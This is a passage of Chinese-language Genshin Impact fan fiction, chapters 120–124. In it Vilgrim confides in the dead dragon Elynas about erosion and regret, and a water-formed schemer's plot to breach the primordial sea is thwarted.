这才是维尔金此行最大的目的,众所周知,深渊的力量对于提瓦特生物而言是毁灭一切的毒药。但美露莘们却又是作为提瓦特生物行走在地上。这么说可能有些奇怪,但在维尔金眼里,这无异于把一颗过不了安检的定时炸弹当做小孩抚养,而且安检机,即世界树居然不认为这是一颗炸弹! “我还以为像您这样活了不知道多少个千年的长者应该已经对提瓦特了如指掌了才是。”厄里那斯的声音带着纯粹的困惑,还是老老实实回答了问题: “其实我也不知道,只记得当时有一种非常奇特的感觉……在我的身体快要死掉的时候,我清晰地感觉到,我的血肉和灵魂正在分离。身躯变得好重好重,灵魂却像以前在星空漂荡一样自由自在,我本来想重新进入那副躯壳,但是……” 厄里那斯大概这辈子都会记得那种感觉,他能够感受到那具身体已经临近崩溃分解,来自星空的力量也从躯干中脱离。厄里那斯本用力量修复残破的身躯继续翱翔,却从那副本应寂静无声的躯壳中,听到了既不属于地上人类喜极而泣、也不同于大地涌流的奇特之声—— 腐烂的血和肉中,居然生出了纯洁的、可爱的小小精灵。 啊,这是我的孩子们。厄里那斯想。 是从他身上掉下的一块肉,是与他同血同源却独立于他的独立个体,是不依附于他却从他而生的存在。 厄里那斯在死去,名为美露莘的新种族们在醒来。 那一瞬间,厄里那斯什么都没有想,一切的一切好像都不那么重要了。他不在执着于高天,也不再试图和地上的小人交流,他只是安安静静地收回了自己的力量,卧在那具已经注定腐败的躯体旁,睁着眼睛,看着一个又一个新生命的诞生。 真可爱,厄里那斯想。 他头一次拥有了和提瓦特人一样的视野。 这样可爱的生物应该活在这样美好的世界。 抱着这样的想法,厄里纳斯甘愿将灵魂融入此地的地脉,放弃了重生的力量,也正因如此,此处并没有因厄里那斯的死亡而成为生命的禁区, 厄里那斯从容选择了自己肉身的死亡。 “后来,美露莘们在枫丹治下好好生活,我也就心满意足了。” 厄里那斯想到这里,眉眼都不自觉弯了弯,他“活着”的时间无异于是短暂的,虽然很对不起为自己创造躯体的那个人,没有完成她交代的任务。 “直到现在,我也觉得我好幸运,幸运地来到这个点世界、幸运地被枫丹人阻止了破坏这片世界、幸运地孕育了如此可爱的孩子们,我很开心。所以啊,我的同族,”厄里那斯的表情萦绕着满满的担忧,“我听说过你的事迹,也听闻过你的威名,我以为你应该比我更加幸福、更加满足,但是看来好像不是这样。” “哦?” 维尔金的疑惑更是让厄里那斯不解:”在你如此悠长且丰富的生命中,难道还有什么不能使你满意的吗?” 维尔金从未思考过这个问题。 他应该对自己感到满意吗?维尔金设身处地代入了一番多年来心力憔悴的维系者,默默给自己画了一个巨大的红叉。 那他的造物对自己满意吗?这个问题甚至不需要多加思考就可以直接否定。 “我比较招人嫌,这点自知之明我还是有的。” 厄里那斯清楚维尔金的身份,正因如此,这种闷闷不乐才显得更加违和。 到底为什么会这样呢? 强大者不应该能够弥补自己所不能及的所有缺憾吗? 厄里纳斯冥思苦想,一个人别扭的向同族寻求认可、除了本质相同,他们好像就只有一个共同点了—— 厄里那斯兴奋地说出答案:“我知道了,你想要人类和魔神们跟你做朋友!” 同族的温暖关怀果然暖人心肺,只是未免也太过直接,维尔金蹭了蹭鼻梁,颇有些尴尬:“真厉害啊,厄里那斯……果然来找有经验的人才是最正确的选择。不瞒你说,每当我想稍微缓和一下上下级关系什么的,大部分下属总是如临大敌恨不得把他们上个月偷摸睡了个懒觉的事给招供出来;而人类嘛,我的左膀右臂总是喜欢一针见血打破我的自觉——我自认为对人类还不错,但他们好像对这种偏爱不感兴趣。甚至称得上是极其讨厌。” 维尔金不免想起了纳贝里士那毫不留情的吐槽和维系者半是严管半是担忧的管束:“偶尔有几个稍微熟悉一点的老朋友知道我的想法,但基本也无济于事,大部分人还是觉得我阴晴不定、很容易降下惩罚。难道他们觉得一个人会一直保持不变吗?怎么他们说变就变了,可总不觉得我也变了呢?所以说,龙也好,人也罢,就算是魔神,我也从来没有搞懂他们过——” 语毕,维尔金感慨:“我果然还是跟同族聊的来。” 维尔金难得如此轻松,至少厄里那斯会用理解的眼神看着他,然后闭上嘴倾听,就算什么都搞不懂也不会胡乱说一些伤他心的话。 至于纳齐森科鲁兹,他目前很安静。 “唔姆……其实我觉得搞不搞得懂不重要,“厄里那斯发出了思考般的低沉嗡鸣,这声音让周围的水流和肉壁都微微震颤,也让纳齐森科鲁兹不易察觉地绷紧了背脊。“大家都有权力选择自己想要的生活,既然如此,只要做好自己想做的、做到自己想要的程度不就可以了吗?” 说罢,厄里那斯顿了顿,语气变得更加单纯且直接,带着一种属于强大生物最朴素的逻辑,仿佛完全没在意旁边还有一位“外人”在听:“而且你还这么强,就算有人惹你生气,把他们教训一顿不就是了?” 这充满力量即真理的的解决方案让维尔金一时语塞。最终,维尔金还是叹了口气,摆了摆手,试图岔开这个聊不下去的话题:“不……总而言之,事情没有这么简单啦……”《 》 120-130 第121章 第 121 章 雷内·德·佩特莉可的…… “好复杂。” 关系简单、从没有呢出过枫丹的魔龙全然搞不懂维尔金怎会有如此拧巴的逻辑。 在他短暂却朴素的龙生观里, 好就是好,坏就是坏。想要就去争取,不想要就主动放弃。美露莘们的性格也大多直白率真。腼腆的孩子有, 但不多。 所以他选择直白的表达, 一如他身边所有的孩子们一样, 厄里那斯捂住嘴角, 只露出那双疑惑的大眼睛: “我不明白。啊, 可能是因为我还没有活到你这个岁数,也有可能是因为美露莘们都陪在我身边,所以我觉得事情其实很简单——只要做自己不后悔的事情就好。” 只要做自己不后悔的事情就好——那么,维尔金后悔过吗?他在心底询问自己的本心,却发现这个问题根本无法回答。 其实他根本不知道自己究竟后不后悔, 或者说就算要后悔,他应该从哪一步开始后悔。 是又一次失败的重置世界?是又一次发现深渊的力量永远都牢牢扒在这个世界的裂缝?亦或是一开始? 维尔金想不明白,干脆不去想。他已经够忙了, 繁琐的公务和永无止境的深渊污秽足够他没有空余时间去思考其他。维尔金清楚自己是在逃避, 但除了逃避问题,他也完全想不出解决的办法了。厄里那斯会明白吗? 维尔金怜爱地抚摸厄里那斯的额头,在那双水汪汪盈蛮困惑和期待的双眸中, 千言万语终究是化作了一句悠长的叹息。 “真厉害啊, 厄里那斯。” 厄里那斯小小的爪子抱住在头上作乱的双手, 他还在试图用自己的幸福模板去理解对方的烦恼。维尔金也不急, 厄里那斯像小孩子一样, 小孩子是这样的,话语天真无邪,却总是带着一种自己都察觉不出的、沉甸甸的重量。 而于厄里那斯自己而言,他也确实从不后悔。 不后悔凭依这副□□, 脱离虚无的星空来到这片天地;不后悔自愿死去,只因他在那短短的时光中已经爱上了这片土地;不后悔放弃重生,只因他已经见到自己所梦寐以求的、在被簇拥时能够感到幸福的小小生命们。 这是厄里那斯漂荡于虚无的星空时,从未感受过的温暖。他贪恋这份温暖,星空太冷、太寂寞了,他想要留下。谁都好,自己也好,美露莘们也好,能跑、能跳、能去触摸世界,用眼睛去看、用脑子去记忆,就已经很幸福了。 这份选择源于自身意志,那具逐渐腐朽的强大躯壳则是厄里那斯给水之国的答案——我已经完完全全的死掉了哦!不要害怕我会诈尸起来哦!美露莘们和我不一样啦! “搞不懂你们这些奇怪的想法从哪里来的。”厄里那斯嘟囔着,自从死掉之后,无事可做的时候,厄里那斯也多多少少从涌动的地脉中听闻过在他来到提瓦特之前,关于虚假之天和深渊之间的恩怨情仇,还有广泛流传在诸位魔神以及经历过魔神战争的长生种们之间关于那位天空岛之主的真实身份。 反正,既然原初的那位选择奉献了身躯和力量,那就带着那位的力量好好活下去不行吗?完成朋友的遗愿、然后幸福地生活下去,对于天理这样强大的存在而言,不是非常简单的事情吗? 为什么会是那一副比死掉还要难受的样子呢? 厄里那斯无法共情,要是他能有维尔金那样的力量,他一定会为美露莘们建造最最最豪华的海沫村,把那些仗着人多就挤兑美露莘的家伙们统统赶出去,让海沫村的快快乐乐、自由自在地生活在蓝天之下。 厄里那斯的眼眸似乎过于真诚了,维尔金都不用细想,也知道这条傻里傻气的呆呆龙在幻想着什么。无非就是想象着有实力就可以解决一切问题。 年轻的时候总是会容易有各种各样的错觉,以为一切都可以用力量来解决,却从未想过每一个独立的生命都尤其自己的喜怒哀乐,生离死别。对于生命本身而言,活着的意义不只是活着,哪怕是自认为付出最好的,也极有可能是没有意义的。 你所认为的好,对于被赠予者而言或许并非如此,甲之蜜糖乙之砒霜,其实法涅斯早就亲身教过他这个道理了,只是他每次都是在事情无法挽回后才意识到自己似乎错得离谱。 “我可能有点羡慕你,厄里那斯。” 维尔金忽然轻声说道,打断了厄里那斯几乎要沸腾的思绪。他的目光仿佛穿透了时间与空间,他看到了那些围绕在父亲身边的美露莘,看到了那份简单而坚实的羁绊,直白道:“你能如此清晰地知道自己想要什么,并且毫不犹豫地去实现它,还顺利得到了如此温暖、充实的回报。” “你远比我幸福,厄里那斯。” 维尔金的语气里带着一种或许连他自己都未曾察觉的落寞,厄里那斯只是更困惑了,他无法理解一位如此强大的存在,为何会羡慕自己这具自愿走向终结的躯壳和有限的生命,但也看出来维尔金此时心情不佳,结结巴巴地反驳:“你那么强大,可以去任何地方,可以做任何事……” “强大不代表自由,厄里那斯。” 维尔金打断他,语气带着一丝疲惫的诙谐,他甚至下意识地朝纳齐森科鲁兹的方向偏了偏头,仿佛在寻求某种认同,或者只是习惯性地看向在场的人形态的存在。 “我从前不是这样的。很多很多年以前,我可以放出豪言,这世上不存在阻挡我的人或物。可是今天,纵使我的实力远胜当初,我却再也不能说出同等分量的话语。” 不能随便斥责魔神,因为那可能导致听风就是雨的蠢货害怕到想要抛弃自己的人类逃跑;想做什么,往往要先经过会不会把这个世界搞得稀巴烂、维系者会不会又跑来唠叨、深渊污秽会不会又趁自己不注意漫上来等等无数的考量。 而维尔金所做的每一件事,都会因为力量而得到无数的过头的猜疑——啊,当然,这跟他自己数千年前年轻气盛过头只知道用武力解决问题有关,但总而言之—— “如果让我选择,我宁愿做一个普普通通什么东西。可能是石头,也可能是只鸟,我不在乎,我想要的从来都很简单,我只是想要替法涅斯完成他的……遗愿。” 维尔金顿了顿,说道: “其实有时候,我宁愿我从来没有醒来过。” 如果是法涅斯,一定会做的比他好得多得多吧? 洞窟内陷入了短暂的沉默。厄里那斯在努力消化这番超出了他简单直接的认知范畴的论述,而维尔金则沉浸在一丝难得的、对流露真性情所带来的复杂情绪中。 唯有被他们忽略的纳齐森科鲁兹,正处于前所未有的头脑风暴。很难说清楚,他今天到底是足够幸运还是不幸—— 他窥破了一个惊天秘密,现在这局面已经荒谬得让纳齐森科鲁兹忍不住发笑,却又发现笑不出来。 不管是谁,看到一条龙和天理在一个死掉的人跟前辩论这种可笑的话题,一定都会像他一样完全忍不住的。 实在是太可笑了! 天理也好,魔龙也好,他们根本不会理解群居弱小者的感想,可纳齐森科鲁兹曾经体会过。 在纳齐森科鲁兹破碎而悲伤的有限记忆里,他曾亲自体会过这条看似温顺无害魔龙带来的恶果。 母亲失去孩子,孩子失去家庭,不幸者失去生命,幸运者失去金钱。纳齐森科鲁兹敢发誓,他们中的每一个都比眼前两个虚度岁月折磨自我的家伙要清醒得多。 纳齐森科鲁兹此刻无比的冷静,往昔那些闪烁在脑海的碎片此刻仿佛都被贯穿相连。一切的一切仿佛终于被溯上源头,他搞清楚自己为何会一直停留在海沫村的上方,也想起一切—— 他是纳齐森科鲁兹,亦是雷内·德·佩特莉可的一部分。 他赢过了时间,来到了预言的节点,又在一无所知时幸运地触及世界的最强者,再一次验证了雷内·德·佩特莉可的设想—— 他要继续启动这个计划。 他需要时间,需要绝对安静的环境,来重新评估一切。 而此刻,纳齐森科鲁兹只能将这足以引爆世界的真相死死压抑在意识的最深处,如同在刀尖上舞蹈,用尽全部的计算力维持着面部表情的漠然,尽管他的指尖在袖中微微颤抖。他看着厄里那斯依旧懵懂地试图安慰对方,看着维尔金那带着落寞和自嘲的侧影,心中却是涌上一股奇异的畅快和期待。 ——提瓦特的天理都有无限的悔恨与不甘…… 为了更美好的明天,为了那些行走在错误道路上的过去,他们的预想和规划,理应正确无误。 只是,尚且缺少一个成熟的引子。 纳齐森科鲁兹捂住因激动幻化成水的下半张脸,只露出拟态为雷内的那部分,眼眸中的迷茫虚无,全然被热情与坚定替代—— 听到了吗,雅各布。 为了我们光荣的使命,快去将阻碍融合的门阀破坏殆尽吧! 第122章 第 122 章 行动力MAX的雅各布…… 海底无光, 却并非漆黑一片。无数原始沉眠的过往皆气息于此,在魔神战争结束后,作为与表层提瓦特大陆区别开来的分界线, 容纳随着岁月流逝而不断溢出的胎海水。 作为最接近原始胎海的深海处, 本应少有人造访, 却于今日来了一位不速之客。 如同滴入清水的一团浓稠罪愆, 深紫色的光点越来越深入海洋。 沉默的海水无声无息流动、介于诞生之苍白与湮灭之幽紫之间的涡流色轮转在少有生命的深海中, 外来者的入侵没能打扰那些远古微小之物的安睡,只有偏移的封印和扰动的海水密度悄无声息宣告,原始胎海和表世界提瓦特的分界线已然被外人扰乱。 尽职尽责的地脉依旧在忠实记录一切,同属地脉本源的海洋似乎察觉到来者并非善类,压强瞬间飙升, 纯粹的力量几乎将外来者包裹全身的元素护盾用纯物理的力量碾碎。但此行的来者意外坚决,不顾骨架和血肉几乎被这庞大的力量碾成一团肉泥,也要奋不顾身闯入这不应有外人进入的、独属于世界的秘密。 雅各布张开深渊化的手爪, 已经全然失去了人类的征, 只剩厚重的法袍紧贴嶙峋的躯干。用以保护自身的元素护盾在海洋的抵触之下已经变得岌岌可危,看起来跟深渊教团的深罪浸礼者无异。尽管拥有深渊的力量,雅各布此时也不敢有丝毫松懈, 他深知, 一旦浸泡在这样高浓度原始胎海水之中, 作为枫丹人的雅各布必定会在触碰到海水的一瞬间化为纯水, 意识回归原始胎海, 所有的计划前功尽弃。 雅各布扯动嘴角,夙愿近在眼前的兴奋与激动让他几乎顾不上自己,却忘了在这样的地方哪怕是动一分寸都得忍受巨大的痛苦,他全然不顾□□上的压迫, 满脑子都是对构想即将实现的无限遐想。 在感受到养兄雷内的气息之后,雅各布当机立断放弃了原本诱骗美露莘以获取厄里那斯之血的计划。原本雅各布计划立刻前去与兄长见面,在此之前,他已经做好了充分的心理准备,但雷内的现状比他预想的要好太多了。虽然计划出现了一点小小的误差,雷内身边多出了一个身份不明、疑似与深渊高度相关的可疑人士,但这都不重要了! 这次没有玛丽安、阿兰和西摩尔、没有不明白他们崇高理想的逐影猎人,甚至连大审判官那维莱特都没有发现他们的行动,这是最好的时刻,雷内想起了一切,他们兄弟即将在四百余年后的枫丹、在灭世的灾厄来临之前,拯救所有人!!! 雅各布将全身力量集中于掌心,甚至主动削弱了护盾的元素力量,力图尽可能多吸收周遭原始胎海水的力量。此处已经是人力所能及最为接近原始胎海的地方,雅各布灼热盯着隐隐散发着生命本源的微光,身躯也因为过久待在高浓度原始胎海水的原因,泛出如油污般的、令人不快的虹彩。 水、火、冰、雷的符文在其上扭曲流转,光芒被海水折射、拉长,化作无数条蠕动闪烁的光带,如果此时有人能够从上方俯瞰,就会发现雅各布周遭数米的海域已经染成一片迷离而邪异、充斥外来深渊和地脉的扭曲区域。 雅各布正在主动被原始胎海溶解。 混杂了深渊、人类杂念、纯水精灵意识的杂质融入海水,雅各布的身躯肉眼可见地缩小,不,更准确些来说,雅各布正在融化! 剥离了文明与人格、个体与执念,只剩生命冲动本身的雅各布已经将自己主动溶解为紫色的水形幻人。他已经不能称作是人类了,他的身躯仿若最清新的雨后潮汐,混合着最浓郁的腐烂芬芳,既带着作为「人」的执念,内里却已经被深渊改造得不像样子,底层还萦绕着一丝金属的腥甜与星空的冰冷,回归到生命最初的本源状态。 物质形态的桎梏如潮水般褪去,雅各布的存在便化作了一种纯粹意志的拓扑结构,行动也变作一种在法则层面滑行的感知。物理的距离与障碍失去了意义,他的视线直接落在了维系世界基础的、那些巨大而隐秘的“阀门,或者说屏障之上。 雅各布未曾伸手,而是将自身此刻纯粹的存在意志,像一枚最精确的概念性楔子,抵向了那个逻辑闭环最核心的自洽点。 那封印并非坚不可摧的墙壁,而更像一层极度紧绷的、介于存在与虚无之间的“胎膜”。它无声地横亘在岩窟最深处,表面流淌着由无数生命意识体凝结而成的水波与光影。 雅各布将其贯穿时,甚至感觉不到破坏的真情实感,更像是在一片绝对宁静的水面上,刺破了一个早已存在、等待被戳破的幻影泡沫。 “啵。” 一声轻响,轻微得几乎被已经不存在的心跳掩盖。 没有想象中的巨响或反噬,却有一种寂静被打破的幻觉。 紧接着,是泄露。 不是汹涌的喷射,而是某种装满原始胎海水的容器已经无法兜底,开始从破口“渗”了过来。 最初只是一缕色泽无法形容的艳丽薄雾,顺着破损的封印流入海洋。所经之处,提瓦特侧坚硬的岩壁仿佛在无声地融化、回归,露出其最原始、未分化的基底形态。海水并未被推开,而是被调和同化,顷刻之间,失去了自身的颜色与特性,加入了那股不断弥漫的、变幻的涡流。 ——来自世界本源的胎海,自世界创生后便永封于世界里侧的胎海,正在奔向提瓦特。 他们迫不及待地从自由的逸口涌出,破口猛地扩张,仿佛世界的伤口开始自主呼吸、吮吸。 浓稠的、蕴含一切可能性的海水混入提瓦特,从星球的内部平静而无可阻挡地漫溢而出。原始胎海水流过之处,时间感变得粘稠而错乱,光线被吞噬、扭曲、再发射为诡异的内部辉光。周遭的海水不再是媒介,而成了生命的一部分,共同开始呼吸与涌动。 记忆的气泡成串升起,在提瓦特的海水中炸开,释放出完全不属于这个时代的景象与情感碎片。个体分解、成为养料,又不断地溶解、聚合、吸收. 源自世界初诞又指向终末的嗡鸣开始在物质世界回响。 海床在软化,岩石在回归其熔融流体的形态,本就不多的海洋生物在本能的趋势下疯狂逃窜。来不及逃走的,大多僵直原地,身体开始出现不可逆的溶解重构迹象。鱼鳍化为更原始的肢芽,贝壳呈现出它矿物的晶体形态。 此乃原始胎海,生命的诞生于回归的最初之所,一切奇迹,皆为生命法则的覆盖与回归。 四百余年的意识体于胎海而言是多么的渺小,雅各布几乎已经无法维持自我的存在,但他却依旧拼尽全力驱使着胎海水涌向上层。 快了,再快一点,兄长交给他的任务就—— “僭越者,你不该来到此地。” 雅各布不能动弹,心底一沉,无死角视线内,维系者降临于那混沌与秩序交锋的锋面。 维系者目光略过提前回归的海水,没有任何情绪,抬起了一只手。 在胎海漫溢的边界,提瓦特法则行将崩溃之处,一道黑红色的虚线凭空出现。 随着空间撕裂的巨响,所在之处的光线首先被抽离,不是变成黑暗,而是化为一种绝对无色的基底,如同画卷被拭去所有色彩,只留承载颜料的、概念性的颜料盒一样,一切仿佛被隔离。声音消失,风停止,元素的流动瞬间凝固。 雅各布只能震惊看着这一切,那道线向着两侧延伸开来,却非扩大面积,而是从无限薄,生长为一个空壳。 这是完全空洞、虚无、被强制静滞的绝对空间,维系者双拳紧握,空间就像一层透明的、却比世界障壁更为坚韧的水晶棺椁,被生生嵌入到胎海与大陆之间。 等到雅各布意识到维系者在做什么的时候,一切都来不及了。 那层不可逾越的空间完全成形的刹那,将汹涌的原始胎海重新推回、禁锢在其原本的边界之内。 维系者缓缓放下了手,拿起能够时间倒流的怀表,将分针拨后。 “浪费我们宝贵的时间、干扰天理命定的预言、探索人类不应企及之物,真应该杀了你。” 维系者冷冷盯着已经失去意识的前人类,向仍处在休假状态的顶头上司汇报: “紧急事件已解决,我堵住了口子。” 维尔金挑挑眉,拍掌宣告: “好了,闲聊时间到此结束。” 话音既落,维尔金手掌心以迅雷不及掩耳之势洞穿了纳齐森科鲁兹的心脏,优雅的少年顿时失了血色,蓝色、紫色……混杂着星空与大海颜色的血液从纳齐森科鲁兹瘦弱的身体中喷涌而出。 纳齐森科鲁兹的身体还不曾反应,下一秒,强烈的剧痛让他无法维持住站立的姿态,踉跄地向后栽去。只是贯穿心脏的收堪堪维持住他的身形,纳齐森科鲁兹艰难地问: “为什么……突然动手?” 第123章 第 123 章 厄里纳斯知晓了一切 “原来他刚刚突然大喊大叫不是在发疯吗?” 恍然大悟的波澜如同慢吞吞扩散的涟漪, 厄里那斯终于解开了刚刚的疑惑,喃喃道: “我说这个人怎么突然大吵大闹的喊他的兄弟——我还以为这是人类某种特殊的风俗习惯呢……比如干坏事之前,必须光明正大地嗷一嗓子宣告一下, 显得比较有气魄什么的。” 维尔金闻言, 脸上的冷意都染上了一层难以抑制的笑。他轻轻甩了甩手, 那上面沾染的、属于纳齐森科鲁兹的蓝紫色血液, 如同拥有独立生命般, 并未完全滴落,反而有些粘稠地拉出细丝,散发出微弱的能量光晕。 “哎,没办法。人类就是这样,说过的事情总是要重复无数遍。”维尔金失落地掏出手掌, 纳齐森科鲁兹体内蓝紫色的血液流淌着地上。维尔金的目光落在掌心残留的血液上,又瞥了一眼地上那滩更为明显的、正缓缓渗入特殊地表的蓝紫色痕迹,眉头微蹙, 露出了货真价实的头疼表情。 “还有一半在原始胎海啊……真是头疼。” 纳齐森科鲁兹半依靠在冰冷的岩壁喘着粗气。 完全反应不过来。 没有任何征兆, 甚至他连维尔金什么时候出击都没有看见,就那么一瞬,自己的心脏已经被他贯穿。 这就是足以对整个枫丹降下预言的力量吗? “为什么……你们能够听到?”纳齐森科鲁兹急促地喘息着, 他试图支起身体却发现再起不能。维尔金刚才那精准却理应不算致命的一击, 不仅打断了他以原始胎海水为节制、强行构筑的雅各布之间存在的隐秘传讯, 更仿佛在他的水核上震开一道裂缝。 纳齐森科鲁兹口吐蓝紫色的鲜血, 满脸不敢置信:他不愿相信, □□的创伤与力量的紊乱都在其次,最让他心神剧震、几乎感到恐惧的,是那个被厄里那斯用如此天真口吻道破的事实—— 他们都听到了。 可他们怎么可能都会听到?! 厄里那斯姑且不论,常年蛰伏在海沫村的亡龙或许在漫长岁月里已经领悟了从高浓度原始胎海水中获取提取信息的力量, 但天理为何—— 天理不是来自世界之外吗? 为什么能够从孕育星球原始生命的原始胎海中截获信息? 他猛地抬起头,虚弱却掩不住那骤然锐利、充满难以置信的眼神。纳齐森科鲁兹的眼神锐利得几乎要刺穿维尔金散漫的表面,里面翻涌着难以置信、计算全盘出错的震骇,以及一种被逼到绝境后反而熊熊燃起的、曾经作为学者的疯狂求知欲:“唯有这一点……咳咳……尊贵的天理大人,求求你,解答我最后的一问……” 蓝紫色的血液从纳齐森科鲁兹指缝间渗出,滴落在幽深的地面,发出轻微的嗤响。 纳齐森科鲁兹已经快坚持不住了,维尔金刚刚捏碎了作为水形幻人的核心,虽然凭借着原始胎海水的磅礴生命力还姑且维持一副人型,但纳齐森科鲁兹根本没有力量重新聚集溃散的力量。毕竟曾是人类的存在,维尔金终究不忍心,一个从前必定是人类的天才在生命的最后非但要以非人的状态死去,甚至于连最后的问题都无法得到解答。 “你问吧。”维尔金听到自己这样说。 纳齐森科鲁兹喘息着,蓝紫色的血液——现在应该称之为原始胎海水了。原始胎海水不断的从纳齐森科鲁兹身躯中溢出,他终于抵不过本能,人型的躯壳开始迅速溶解,声音也变了调,胎海水滴落在地面上,发出烧灼般的嗤响,仿佛他的存在本身都在被这里的环境缓慢消化,直至溶于世界。 但他全然不顾,只是死死盯着维尔金,仿佛要透过那副无奈头疼的表象,直窥其存在的终极奥秘。 “天理大人,你为什么能够听到?” 那不是声波,不是元素波动,甚至不是寻常的精神链接……那是星球孕育的孩子对回归母胎羊水的共鸣渴望,是原始胎海产出之物对注定回归之宿命的本源呼唤、是唯有本质与之相连者才能感知的胎动,也因此—— “本源是深渊之物的虚假之天,为什么会听到流淌在原始胎海的声音呢?” 他的语速越来越快,带着逻辑崩塌前的最后癫狂:“你的存在,与那包容又吞噬一切的混沌之海截然相反,理应相互隔绝、相互排斥!就像光不应理解纯粹的暗,原始胎海怎么会对这个世界的入侵者敞开胸怀?!” 这矛盾撕扯着他的理性,纳齐森科鲁兹惊恐地想,要么他对维尔金本质的判断全错,要么他对原始胎海的理解存在巨大盲区,要么……这世界的基础规则,在他不知道的地方,存在着一个无法用任何现有模型解释的、恐怖的交集…… 比如……他们一直认为的世界内部和世界外部……究竟是否存在真实物理上的界限? 维尔金看着他眼中那近乎灼热的求知般的疯狂,脸上那点“头疼”的表情慢慢沉淀下去,变成了一种更深的、带着些许奇异感慨的平静。 嗯……这症状……又被污秽污染了吗?维尔金想,神游天外了一瞬——倒也不无可能,毕竟深渊就像蟑螂,能蹦哒又能活。 “你说话太难听了,就连我这条外面来的魔龙都看不下去了!”还不等维尔金编好解释,厄里那斯气鼓鼓地说道,“你要是真是一只水形幻灵也就算了,可你明明是人呀!” 提瓦特任何物种都有资格唾骂天理,因为祂毁灭了他们原本可以平爱喜乐度过一生的世界,让非人类、尤其是非人类长生种们,在相当漫长的一段时光里,光是活下来都得费劲心机。 毫无疑问,维尔金绝非单纯善良的圣人天使,厄里那斯也知道他的私心为何——那位原初之人的愿望而已。可祂已然践行助人,那人类还有什么理由责怪他呢? —— 这一瞬间,厄里那斯突然明白了维尔金先前的欲言又止。 一股无言的悲伤瞬间涌上厄里纳斯的心脏。 所以说……就算本意是好的,就算把最好的都分给他们了,也不一定会换来幸福和欢乐吗? 可是,美露莘们不是这样啊。厄里那斯的心声带着真切的困惑,在他与维尔金之间悄然响起,避开了失魂落魄的纳齐森科鲁兹,更像是一种孩子向历经沧桑的长者寻求确认的低语。 或者说,与求证无异的祈求。 维尔金的目光从纳齐森科鲁兹身上收回,轻轻叹了口气。 “因为美露莘们才诞生四百多年而已。”维尔金声音很轻,却好似万钧沉重“时间太短了。” 厄里那斯也好,美露莘也好,他们诞生的时间太短、也太晚了。 短到还来不及产生复杂到无法满足的欲望,短到来不及质疑这庇护的根源是否带着牺牲的苦涩,短到来不及让纯粹的灵魂滋长出各式各样的愿望,短到来不及让自由的渴望散发出超越生命长度的理想,继而孕育出对未世界之外探索的欲望。 短到,这份由死亡孕育、由腐朽支撑的“馈赠”与“回报”的循环,还停留在它最美好、最完满的初生阶段,宛如一个尚未经历风雨侵蚀的、晶莹剔透的泡沫,在阳光下折射着梦幻般的光彩。 包括维尔金自己,都不得不承认,随着时间的流逝,他最初的愿望也早已经变质。 哪怕是完成法涅斯的愿望,其实也大可不必对非人类长生种们赶尽杀绝,多年后的如今,维尔金已经能够坦然承认自己的偏爱,并强迫自己从歇斯底里的掌控欲中脱离出来。 “所以啊,我真的很羡慕你,厄里那斯。真要说,你和美露莘其实算是同一时间来到的提瓦特大陆,此时的人类也站稳脚跟,所以我说,我们很像——当我决定让人类成为提瓦特新的主宰时,龙族仍是这片大地的统治者,不同的只有一点,我比你更强,强到所有前来阻止我的家伙都被杀掉或者打服。” 维尔金顿了顿,露出一丝复杂的情绪:“而你,厄里那斯,你被枫丹人成功阻止,然后在守护他们和复活再战中选择了前者,却反而能够过上被孕育生命称颂的幸福生活,这又何尝不是我所希望的呢?说来可笑,这些思考还是我重复犯了无数遍相同的错误后才得出来的结论,比生命短暂的人类反应迟钝多了,是不是非常可笑?” 厄里那斯沉默了。 他第一次,并非通过自身的消亡,而是通过维尔金那跨越了不知多少个四百多年的视角,隐约窥视到到了时间本身所蕴含的磨损。 磨损,能让初衷变质,甚至极有可能让此刻围绕着他的、他视为生命最终意义的温暖回声,在未来的某一天,变成另一种连他都无法理解的样貌。 厄里那斯突然害怕了起来。 可是磨损……对了!地脉中留下的讯息不是说,只要成为了尘世七执政就能够抵抗磨损吗? 厄里那斯眼中顿时发出激动的光芒,维尔金甚至不用去探查他的内心,就知道他要问什么,维尔金叹了口气,没打算绕任何弯子,也没再用那些云山雾罩的虚指代指: “如果是你指的是对磨损的赦免的话……” “本质上就是我来承受啦。” “所以,没戏的。”维尔金垮着脸头,脸上露出了那种“又要解释麻烦现实”的表情,闷闷说道,“随着时间的流逝,就算再怎么呵护,提瓦特出问题也是时间早晚而已。” 只是他高估了自己的本事,没能将时间延缓得更后面一些。 ……试着想想,如果是法涅斯的话,一定能够做到吧? 第124章 第 124 章 最初的意义 “维尔金大人又在逃避了呢。”厄里那斯语调轻快, 甚至带着点撇去冒犯意味的调侃,“悄悄告诉你哦,有在沫芒宫工作的孩子, 曾经偷偷告诉过我一些有趣的‘深夜见闻’。厄歌莉娅前辈, 偶尔会在那种很晚很晚、连泡泡橘都睡着的时候, 和芙卡洛斯大……呃, 和芙宁娜大人, 还有那维莱特先生,分享一些‘格外有趣’的事情。” 他故意停顿了一下,像是要营造悬念,然后用一种模仿的、惟妙惟肖的口吻,复述道: “有一句话是这么说的——‘那种天天闭眼思法涅斯、睁眼工作的家伙是这样啦, 自己都能把自己整出心理问题,谁知道他到底想要干嘛?问也不说,一天天摆出一副灵魂出窍、随时想要死掉的样子, 难怪法涅斯大人趁着没死前急匆匆给他塞了这么多事做, 跟得哄小孩子一样——生怕他一不留神,就真把自己给想没了。’ ” 维尔金:“……” 厄歌莉娅吗?背后蛐蛐领导,他可先记下了。 面对厄里纳斯的好奇, 维尔金无可奈何认栽, 认了下来:“她倒是观察得挺仔细。” ——就是没怎么用在正道上。 “纠结这种无意义的事情, ”齐森科鲁兹的嗤笑声突兀地插入了这片由沉重过往与天真追问构成的氛围, 如同一盆掺着冰碴的污水, 泼在了无形的弦上。他沙哑的声音响起,尽管虚弱,却刻意咬清了每一个字,目光如淬毒的针, 刺向维尔金,“难怪直到现在,神明治下的人类之中也不曾有超越世界极限、足以探索星空的先知出现。” 维尔金:呃呃,如果这种想要探索直接之外的家伙,那还真不能让你出现 齐森科鲁兹顿了顿,积攒起力气,抛出了那个在他逻辑链条中,比维尔金能听到胎海传音更根本、更致命的疑问: “天理大人。” 他省略了所有敬语,只剩下赤裸的探究与挑衅。 “你难道从来没有……真正思考过自己的由来吗?见到了厄里那斯和黄金莱茵多特,你难道不觉发生的一切和我们被告知的格格不入吗?原始胎海……你甚至可以链接它,感知它那不属于秩序世界的胎动……可哪怕是坎瑞亚最年轻的宫廷法师也知晓:深渊的力量与提瓦特格格不入。” 纳齐森科鲁兹的呼吸急促起来,眼中那将熄的求知狂焰,因为这最终极的质问而回光返照般亮起。 